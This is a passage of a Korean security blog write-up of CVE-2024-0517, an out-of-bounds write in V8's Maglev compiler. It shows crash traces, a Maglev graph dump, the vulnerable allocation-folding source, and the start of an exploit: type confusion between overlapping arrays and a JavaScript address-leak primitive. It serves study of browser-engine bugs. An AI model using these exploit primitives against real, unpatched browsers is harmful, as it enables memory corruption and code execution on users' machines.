    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">V8_Fatal</span><span class="p">(</span><span class="nx">char</span> <span class="kd">const</span><span class="o">*</span><span class="p">,</span> <span class="nx">int</span><span class="p">,</span> <span class="nx">char</span> <span class="kd">const</span><span class="o">*</span><span class="p">,</span> <span class="p">...)</span><span class="o">+</span><span class="mh">0x1ac</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae477853c</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">v8</span><span class="p">::</span><span class="nx">internal</span><span class="p">::</span><span class="nx">FreeSpace</span><span class="p">::</span><span class="nx">IsValid</span><span class="p">()</span> <span class="kd">const</span><span class="o">+</span><span class="mh">0xdf</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae0e79e1f</span><span class="p">]</span>
    <span class="p">.</span><span class="o">/</span><span class="nx">debug</span><span class="o">/</span><span class="nx">d8</span><span class="p">(</span><span class="nx">v8</span><span class="p">::</span><span class="nx">internal</span><span class="p">::</span><span class="nx">FreeSpace</span><span class="p">::</span><span class="nx">next</span><span class="p">()</span> <span class="kd">const</span><span class="o">+</span><span class="mh">0x1d</span><span class="p">)</span> <span class="p">[</span><span class="mh">0x5b9ae0e789dd</span><span class="p">]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
</code></pre></div></div>

<p>그럼 무엇이 이 free-space를 덮었는지 확인 해보겠습니다.</p>

<p>Maglev가 최적화한 모습은 아래와 같습니다. 여기에서 [1]에서 <code class="language-plaintext highlighter-rouge">new.target()</code> , [2]에서 x배열의 할당, [3]에서 super() 함수를 통한 this객체 할당 및 a배열이 할당됩니다.</p>

<p>이 내용을 보면, a배열의 할당은 반드시 this 객체보다 20 만큼 높은 주소에 항상 할당됩니다.</p>

<p>이제 this객체와 a배열 할당 사이에 Garbage Collection을 발생 시킬 것입니다. 이렇게 하면, a배열은 Young Space에 할당되어야 하지만, 반드시 this객체 + 20 위치에 할당되기 때문에, Garbage Collection을 통해 Old space로 옮겨진 this객체 아래에 할당됩니다. 이로 인해, 이 코드에서는 해당 영역이 free-space였는데, a배열로 덮여졌고, 이것이 확인되면서 Fatal error가 뜨게 되었습니다.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//add option --print-maglev-graph : ./debug/d8 --allow-natives-syntax --print-maglev-graph ./code/exploit.js</span>

<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">[</span><span class="mi">1</span><span class="p">]</span>
       <span class="mi">5</span> <span class="p">:</span> <span class="nx">Construct</span> <span class="nx">r0</span><span class="p">,</span> <span class="nx">r0</span><span class="o">-</span><span class="nx">r0</span><span class="p">,</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span>
               <span class="err">↱</span> <span class="nx">eager</span> <span class="p">@</span><span class="nd">5</span> <span class="p">(</span><span class="mi">8</span> <span class="nx">live</span> <span class="nx">vars</span><span class="p">)</span>
        <span class="mi">44</span><span class="o">/</span><span class="mi">11</span><span class="p">:</span> <span class="nx">CheckValue</span><span class="p">(</span><span class="mh">0x03a40011c4f5</span> <span class="o">&lt;</span><span class="nx">JSFunction</span> <span class="nx">ClassParent</span> <span class="p">(</span><span class="nx">sfi</span> <span class="o">=</span> <span class="mh">0x3a40011b095</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v41</span><span class="o">/</span><span class="nx">n8</span><span class="p">:[</span><span class="nx">rdx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">45</span><span class="o">/</span><span class="mi">15</span><span class="p">:</span> <span class="nx">AllocateRaw</span><span class="p">(</span><span class="nx">Young</span><span class="p">,</span> <span class="mi">20</span><span class="p">)</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">45</span><span class="o">-</span><span class="mi">50</span><span class="p">]</span>
        <span class="mi">46</span><span class="o">/</span><span class="mi">16</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a4001222fd</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">20</span><span class="p">](</span><span class="nx">HOLEY_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">152</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">47</span><span class="o">/</span><span class="mi">17</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">48</span><span class="o">/</span><span class="mi">18</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">153</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v11</span><span class="o">/</span><span class="nx">n13</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">49</span><span class="o">/</span><span class="mi">19</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0xc</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v11</span><span class="o">/</span><span class="nx">n13</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">50</span><span class="o">/</span><span class="mi">20</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span> <span class="p">[</span><span class="nx">v45</span><span class="o">/</span><span class="nx">n15</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v11</span><span class="o">/</span><span class="nx">n13</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">[</span><span class="mi">2</span><span class="p">]</span>
      <span class="mi">11</span> <span class="p">:</span> <span class="nx">CreateArrayLiteral</span> <span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="err">#</span><span class="mi">37</span>
        <span class="mi">52</span><span class="o">/</span><span class="mi">24</span><span class="p">:</span> <span class="nx">AllocateRaw</span><span class="p">(</span><span class="nx">Young</span><span class="p">,</span> <span class="mi">56</span><span class="p">)</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">52</span><span class="o">-</span><span class="mi">67</span><span class="p">]</span>
        <span class="mi">53</span><span class="o">/</span><span class="mi">25</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a400000565</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">(</span><span class="nx">FIXED_ARRAY_TYPE</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v52</span><span class="o">/</span><span class="nx">n24</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">154</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v24</span><span class="o">/</span><span class="nx">n26</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">54</span><span class="o">/</span><span class="mi">27</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v52</span><span class="o">/</span><span class="nx">n24</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v24</span><span class="o">/</span><span class="nx">n26</span><span class="p">:[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">155</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v16</span><span class="o">/</span><span class="nx">n23</span> <span class="err">→</span> <span class="p">[</span><span class="nx">r11</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
        <span class="mi">63</span><span class="o">/</span><span class="mi">36</span><span class="p">:</span> <span class="nx">FoldedAllocation</span><span class="p">(</span><span class="o">+</span><span class="mi">40</span><span class="p">)</span> <span class="p">[</span><span class="nx">v52</span><span class="o">/</span><span class="nx">n24</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rsi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="p">(</span><span class="nx">spilled</span><span class="p">:</span> <span class="p">[</span><span class="nx">stack</span><span class="p">:</span><span class="mi">1</span><span class="o">|</span><span class="nx">t</span><span class="p">]),</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">63</span><span class="o">-</span><span class="mi">137</span><span class="p">]</span>
          <span class="mi">156</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">r8</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
          <span class="mi">157</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">rsi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
        <span class="mi">64</span><span class="o">/</span><span class="mi">37</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a40010eea5</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">PACKED_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v63</span><span class="o">/</span><span class="nx">n36</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
        <span class="mi">65</span><span class="o">/</span><span class="mi">38</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v63</span><span class="o">/</span><span class="nx">n36</span><span class="p">:[</span><span class="nx">rsi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
<span class="p">[</span><span class="mi">3</span><span class="p">]</span>
    <span class="mi">108</span> <span class="p">:</span> <span class="nx">FindNonDefaultConstructorOrConstruct</span> <span class="o">&lt;</span><span class="nx">closure</span><span class="o">&gt;</span><span class="p">,</span> <span class="nx">r0</span><span class="p">,</span> <span class="nx">r8</span><span class="o">-</span><span class="nx">r9</span>
       <span class="mi">100</span><span class="o">/</span><span class="mi">90</span><span class="p">:</span> <span class="nx">AllocateRaw</span><span class="p">(</span><span class="nx">Young</span><span class="p">,</span> <span class="mi">52</span><span class="p">)</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="p">(</span><span class="nx">spilled</span><span class="p">:</span> <span class="p">[</span><span class="nx">stack</span><span class="p">:</span><span class="mi">3</span><span class="o">|</span><span class="nx">t</span><span class="p">]),</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">100</span><span class="o">-</span><span class="mi">145</span><span class="p">]</span>
       <span class="mi">101</span><span class="o">/</span><span class="mi">91</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a4001222fd</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">20</span><span class="p">](</span><span class="nx">HOLEY_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
       <span class="mi">102</span><span class="o">/</span><span class="mi">92</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v14</span><span class="o">/</span><span class="nx">n14</span><span class="p">:[</span><span class="nx">rax</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
<span class="p">[</span><span class="nx">truncated</span><span class="p">]</span>
      <span class="mi">127</span><span class="o">/</span><span class="mi">129</span><span class="p">:</span> <span class="nx">FoldedAllocation</span><span class="p">(</span><span class="o">+</span><span class="mi">20</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">127</span><span class="o">-</span><span class="mi">135</span><span class="p">]</span>
          <span class="mi">195</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">128</span><span class="o">/</span><span class="mi">130</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a400000829</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">(</span><span class="nx">FIXED_DOUBLE_ARRAY_TYPE</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v127</span><span class="o">/</span><span class="nx">n129</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">196</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v17</span><span class="o">/</span><span class="nx">n47</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">129</span><span class="o">/</span><span class="mi">131</span><span class="p">:</span> <span class="nx">StoreTaggedFieldNoWriteBarrier</span><span class="p">(</span><span class="mh">0x4</span><span class="p">)</span> <span class="p">[</span><span class="nx">v127</span><span class="o">/</span><span class="nx">n129</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v17</span><span class="o">/</span><span class="nx">n47</span><span class="p">:[</span><span class="nx">rdx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
          <span class="mi">197</span><span class="p">:</span> <span class="nx">ConstantGapMove</span><span class="p">(</span><span class="nx">v36</span><span class="o">/</span><span class="nx">n132</span> <span class="err">→</span> <span class="p">[</span><span class="nx">xmm0</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">f64</span><span class="p">])</span>
      <span class="mi">130</span><span class="o">/</span><span class="mi">133</span><span class="p">:</span> <span class="nx">StoreFloat64</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span> <span class="p">[</span><span class="nx">v127</span><span class="o">/</span><span class="nx">n129</span><span class="p">:[</span><span class="nx">rcx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">v36</span><span class="o">/</span><span class="nx">n132</span><span class="p">:[</span><span class="nx">xmm0</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">f64</span><span class="p">]]</span>
          <span class="mi">198</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">stack</span><span class="p">:</span><span class="mi">3</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">131</span><span class="o">/</span><span class="mi">134</span><span class="p">:</span> <span class="nx">FoldedAllocation</span><span class="p">(</span><span class="o">+</span><span class="mi">36</span><span class="p">)</span> <span class="p">[</span><span class="nx">v100</span><span class="o">/</span><span class="nx">n90</span><span class="p">:[</span><span class="nx">rbx</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">r8</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">],</span> <span class="nx">live</span> <span class="nx">range</span><span class="p">:</span> <span class="p">[</span><span class="mi">131</span><span class="o">-</span><span class="mi">139</span><span class="p">]</span>
          <span class="mi">199</span><span class="p">:</span> <span class="nx">GapMove</span><span class="p">([</span><span class="nx">r8</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]</span> <span class="err">→</span> <span class="p">[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">])</span>
      <span class="mi">132</span><span class="o">/</span><span class="mi">135</span><span class="p">:</span> <span class="nx">StoreMap</span><span class="p">(</span><span class="mh">0x03a40010ee25</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">PACKED_DOUBLE_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span><span class="p">)</span> <span class="p">[</span><span class="nx">v131</span><span class="o">/</span><span class="nx">n134</span><span class="p">:[</span><span class="nx">rdi</span><span class="o">|</span><span class="nx">R</span><span class="o">|</span><span class="nx">t</span><span class="p">]]</span>
</code></pre></div></div>

<h3 id="소스-코드-분석">소스 코드 분석</h3>

<p>취약점이 존재하는 코드는 자식 생성자를 만들 때 호출하는 <code class="language-plaintext highlighter-rouge">VisitFindNonDefaultConstructorOrConstruct()</code> 함수로부터 시작하는 최적화 흐름 내에 존재합니다.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">MaglevGraphBuilder</span><span class="o">::</span><span class="n">VisitFindNonDefaultConstructorOrConstruct</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">ValueNode</span><span class="o">*</span> <span class="n">this_function</span> <span class="o">=</span> <span class="n">LoadRegisterTagged</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">ValueNode</span><span class="o">*</span> <span class="n">new_target</span> <span class="o">=</span> <span class="n">LoadRegisterTagged</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="k">auto</span> <span class="n">register_pair</span> <span class="o">=</span> <span class="n">iterator_</span><span class="p">.</span><span class="n">GetRegisterPairOperand</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
  
<span class="c1">//[1]  </span>
  <span class="k">if</span> <span class="p">(</span><span class="n">TryBuildFindNonDefaultConstructorOrConstruct</span><span class="p">(</span><span class="n">this_function</span><span class="p">,</span> <span class="n">new_target</span><span class="p">,</span>
                                                   <span class="n">register_pair</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
<span class="c1">//[2]  </span>
  <span class="n">CallBuiltin</span><span class="o">*</span> <span class="n">result</span> <span class="o">=</span>
      <span class="n">BuildCallBuiltin</span><span class="o">&lt;</span><span class="n">Builtin</span><span class="o">::</span><span class="n">kFindNonDefaultConstructorOrConstruct</span><span class="o">&gt;</span><span class="p">(</span>
          <span class="p">{</span><span class="n">this_function</span><span class="p">,</span> <span class="n">new_target</span><span class="p">});</span>
  <span class="n">StoreRegisterPair</span><span class="p">(</span><span class="n">register_pair</span><span class="p">,</span> <span class="n">result</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>이 함수는 Ignition이  <code class="language-plaintext highlighter-rouge">FindNonDefaultConstructorOrConstruct</code>  라는 instruction을 생성하였을 때, 이를 최적화하기 위해 Maglev에서 실행하는 함수입니다.</p>

<p>1번에서는 Maglev가 위에서 전달 받은 값을 가지고 <code class="language-plaintext highlighter-rouge">TryBuildFindNonDefaultConstructorOrConstruct()</code> 함수를 실행하게 됩니다. 이때, 이 함수가 성공적으로 최적화를 한 경우 값을 반환하게 되고, 실패한 경우 2번으로 넘어가게 됩니다. 이 2번에서는 다시 Ignition에게 instruction에 대한 opcode를 구현하게 합니다.</p>

<p><code class="language-plaintext highlighter-rouge">TryBuildFindNonDefaultConstructorOrConstruct()</code> 함수에서는 실제 객체 할당을 위한 <code class="language-plaintext highlighter-rouge">BuildAllocateFastObject()</code> 함수를 실행합니다.</p>

<p>이 함수는 그저 객체를 할당하며, 함수 내부에서 <code class="language-plaintext highlighter-rouge">ExtendOrReallocateCurrentRawAllocation()</code> 함수를 호출하여, <strong>current_raw_allocation</strong>이라는 포인터를 통해, allocation folding의 유무를 결정합니다.</p>

<p>이렇게 할당이 끝나고 나면 이 포인터를 초기화 해주어야 하는데, <code class="language-plaintext highlighter-rouge">TryBuildFindNonDefaultConstructorOrConstruct()</code> 함수에서는 초기화하지 않고 있습니다. 따라서 이 다음 객체 할당이 이루어질 때, 초기화 되지 않은 <strong>current_raw_allocation</strong> 포인터로 의도 되지 않은 allocation folding이 이루어지고 ( PoC코드의 a배열 할당 ), 허용되지 않은 위치에 객체가 할당되며 OOB write가 발생합니다.</p>

<h2 id="익스플로잇">익스플로잇</h2>

<h3 id="취약점-트리거">취약점 트리거</h3>

<p>취약점 분석 파트에서는 객체의 OOB write가 발생한 것을 확인하였습니다. 이 취약점을 실제로 트리거 하는 코드는 <a href="https://github.com/WHS-SEGFAULT/WHS-SEGFAULT.github.io/blob/main/_posts/v8/CVE-2024-0517/exploit.js">github 리포지터리</a> 에 있습니다.</p>

<center> <img src="https://github.com/user-attachments/assets/61a32f48-8f3c-408c-8e2b-b26f514b7a91" /> </center>
<p><br /></p>

<center> <img src="https://github.com/user-attachments/assets/574d05eb-ab29-4ed3-ac49-9cdc5b70041e" /> </center>
<p><br /></p>

<p>취약점을 트리거 하면 위의 사진과 같은 결과를 볼 수 있습니다. 이제 x배열과 a배열이 같은 위치의 메모리를 사용하게 되었습니다. 이것을 통해 객체 사이의 type confusion을 일으켜, 익스플로잇을 위한 primitives들을 구현할 것이고, 이후 primitives와 WebAssembly를 통해 exploit을 할 것입니다.</p>

<h3 id="type-confusion">Type confusion</h3>

<p>같은 위치의 메모리를 서로 다른 타입의 두 객체가 사용하여, 생기는 것을 type confusion이라고 합니다.</p>

<p>지금 우리는 x배열과 a배열이 같은 위치의 메모리를 사용하고 있습니다. x배열은 객체를 저장하는 packed_elements 타입, a배열은 float를 저장하는 packed_double_elements 타입을 갖고 있습니다.</p>

<p>이렇게 타입이 다르면 어떤 일이 발생하는지 예시를 들어 설명해 보겠습니다.</p>

<p>x 배열의 인덱스 0에 test라는 객체를 넣어봅시다. x배열은 objects나 integer를 저장하는 배열인데, 우리는 빈 객체들을 넣어 두었기 때문에 객체를 저장하게 됩니다. 이때 객체를 저장하는 방식은 elements의 test객체의 주소를 쓰게 됩니다.</p>

<p>a 배열은 float를 저장하는 배열이므로, 데이터를 8바이트씩 읽게 됩니다. 이때 해당 위치를 읽어들일 경우, double 형의 부동소수점 값(즉 8바이트만큼)으로 가져오게 됩니다. 이 8바이트는 해당 메모리의 데이터를 그대로 읽었기 때문에, 그 중 절반인 4바이트에는 우리가 저장하였던 test 객체의 주소를 그대로 가져오게 됩니다.</p>

<h3 id="primitives-구현">Primitives 구현</h3>

<h4 id="initial-addrof-primitive">Initial Addrof Primitive</h4>

<p>이 primitive는 공격자가 JS 객체의 주소를 유출할 수 있습니다.</p>

<p>exploit이 트리거 되면, type confusion에서 설명한 것과 같이, 아래의 두 배열이 서로 겹치게 됩니다.</p>

<ul>
  <li>x객체의 elements backing buffer</li>
  <li>a배열 객체의 metadata와 backing buffer</li>
</ul>

<p>따라서 배열 객체 x의 elements에, 객체로써 데이터를 쓸 수 있고, packed_double_array 타입을 가진 배열 객체 a에 접근하며 double로 읽어들일 것입니다.</p>

<p>이 primitive에 대한 주요 JS코드:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">addrof_tmp</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">corrupted_instance</span><span class="p">.</span><span class="nx">x</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
  <span class="nx">f64</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">corrupted_instance</span><span class="p">.</span><span class="nx">a</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
  <span class="k">return</span> <span class="nx">u32</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">}</span>
</code></pre></div></div>

<p>여기서 중요한 사실은, v8 heap은 모든 객체 포인터를 32비트 값으로 압축합니다. 따라서 이 함수는 포인터를 64비트 float point value로 읽고, 그 값을 32비트만 추출하며, 여기에는 주소 자체가 담기게 됩니다.</p>

<h4 id="initial-write-primitive">Initial Write Primitive</h4>

<p>Write Primitive배열의 length가 overwrite 되면, oob read/write가 가능해집니다. 왜냐하면, length를 overwrite한다고, 실제 배열이 바로 바뀌는 것은 아니지만, 배열의 index로 원하는 값을 넣을 수 있게 되기 때문입니다.</p>

<p>따라서 <code class="language-plaintext highlighter-rouge">let rwarr = [1.1, 2.2, 2.2]</code> 으로 배열을 하나 더 생성한 후, a배열의 시작으로부터 이 rwarr 배열의 metadata로의 offset을 찾아, 원하는 값으로 덮는 기능을 만들 것입니다.</p>

<p>해당 코드는 다음과 같습니다 :</p>

